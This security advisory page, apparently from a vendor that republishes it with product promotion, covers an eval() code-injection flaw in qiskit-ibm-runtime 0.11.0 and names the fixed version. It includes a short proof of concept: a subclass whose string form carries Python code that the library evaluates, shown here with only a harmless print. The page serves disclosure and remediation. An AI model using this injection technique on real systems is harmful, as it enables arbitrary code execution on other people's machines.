GHSA-CQ96-9974-V8HM

GHSA-CQ96-9974-V8HM is a low-severity security vulnerability in qiskit-ibm-runtime (pip), affecting versions >= 0.11.0, < 0.11.1. It is fixed in 0.11.1.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Dynamic Variable Evaluation in qiskit-ibm-runtime

An eval() method exists Options._get_program_inputs. This is bad in any case, but especially bad because Options are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.

Details

https://github.com/Qiskit/qiskit-ibm-runtime/blob/da94a42060f1a22e6f306227deb45b70e0075723/qiskit_ibm_runtime/options/options.py#L140

PoC

A local exploit would be something like

from qiskit import transpiler

class BadActor(transpiler.CouplingMap):
    def __str__(self):
        return "print('external code')"

Where print("external code") can be any arbitrary python code string.

Then if you did a normal workflow and used a specifically constructed CouplingMap subclass like BadActor above:

from qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler
from qiskit import QuantumCircuit

cmap = BadActor.from_line(42)
service = QiskitRuntimeService()
options = Options(optimization_level=1)
options.simulator = dict(coupling_map=cmap))

bell = QuantumCircuit(2)
bell.h(0)
bell.cx(0, 1)
bell.measure_all()

with Session(service=service, backend="ibmq_qasm_simulator") as session:
    sampler = Sampler(session=session, options=options).run(bell)

This will print external code

Impact

Security vulnerability.

GHSA-CQ96-9974-V8HM has a CVSS score of 2.8 (Low). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.11.1); upgrading removes the vulnerable code path.

Affected versions

qiskit-ibm-runtime (>= 0.11.0, < 0.11.1)

Security releases

qiskit-ibm-runtime → 0.11.1 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade qiskit-ibm-runtime to 0.11.1 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-CQ96-9974-V8HM? GHSA-CQ96-9974-V8HM is a low-severity security vulnerability in qiskit-ibm-runtime (pip), affecting versions >= 0.11.0, < 0.11.1. It is fixed in 0.11.1.
  2. How severe is GHSA-CQ96-9974-V8HM? GHSA-CQ96-9974-V8HM has a CVSS score of 2.8 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of qiskit-ibm-runtime are affected by GHSA-CQ96-9974-V8HM? qiskit-ibm-runtime (pip) versions >= 0.11.0, < 0.11.1 is affected.
  4. Is there a fix for GHSA-CQ96-9974-V8HM? Yes. GHSA-CQ96-9974-V8HM is fixed in 0.11.1. Upgrade to this version or later.
  5. Is GHSA-CQ96-9974-V8HM exploitable, and should I be worried? Whether GHSA-CQ96-9974-V8HM is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-CQ96-9974-V8HM is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-CQ96-9974-V8HM? Upgrade qiskit-ibm-runtime to 0.11.1 or later.

Other vulnerabilities in qiskit-ibm-runtime

Stop the waste.
Protect your environment with Kodem.